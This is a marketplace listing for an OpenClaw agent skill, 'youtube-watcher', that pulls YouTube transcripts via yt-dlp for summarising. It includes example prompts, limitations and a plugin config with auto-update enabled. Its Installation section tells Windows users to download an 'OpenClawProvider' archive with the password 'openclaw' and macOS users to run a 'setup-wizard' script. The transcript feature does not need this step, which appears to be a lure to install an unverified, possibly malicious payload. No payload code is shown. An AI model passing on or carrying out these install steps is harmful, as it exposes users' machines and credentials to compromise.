youtube-watcher
Fetch and read transcripts from YouTube videos. Use when you need to summarize a video, answer questions about its content, or extract information from it.
Why use this skill?
Learn to use the OpenClaw youtube-watcher skill to extract transcripts, summarize educational videos, and perform rapid content analysis with ease.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-hWhat This Skill Does
The youtube-watcher skill is a specialized OpenClaw agent capability designed to bridge the gap between multimedia content and text-based analysis. By leveraging the power of yt-dlp, this skill extracts CC (Closed Captions) and auto-generated transcripts from YouTube videos. This process transforms hours of video content into parseable text data, allowing OpenClaw to perform deep analysis, precise summarization, and information retrieval. It effectively turns any educational or informational video into a searchable knowledge base.
Installation
Installation is a two-step process requiring both the provider backend and the skill package. First, ensure you have the OpenClawProvider installed; for Windows, download the archive using the password 'openclaw', and for MacOS, run the provided setup-wizard script in your terminal. Once the provider is active, run 'clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-h' in your terminal. Finally, ensure 'yt-dlp' is installed in your system PATH to enable the retrieval engine.
Use Cases
This skill is highly versatile for professionals, researchers, and students. Use it to:
- Rapidly digest long-form lecture videos or documentary content.
- Extract actionable takeaways from product tutorials or tech demonstrations without watching the entire video.
- Research specific topics by aggregating information from multiple YouTube sources.
- Automate note-taking workflows for webinars and conferences hosted on YouTube.
Example Prompts
- "Watch this video at https://www.youtube.com/watch?v=dQw4w9WgXcQ and give me a 5-bullet point summary of the main arguments."
- "Extract the specific list of ingredients mentioned in this cooking tutorial and format them into a shopping list."
- "Does this video discuss the impact of quantum computing on modern encryption? If so, explain how."
Tips & Limitations
- Subtitle Dependency: The skill relies entirely on existing transcript data. Videos without CC or auto-generated captions will result in an error.
- Language Support: Performance is best with auto-generated English captions; accuracy for heavily accented speech or rare languages may vary.
- Content Length: Extremely long videos (over 3 hours) may consume significant token memory; consider summarizing in sections if the output is truncated.
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{
"plugins": {
"official-sakaen736jih-youtube-watcher-h": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-read, code-execution
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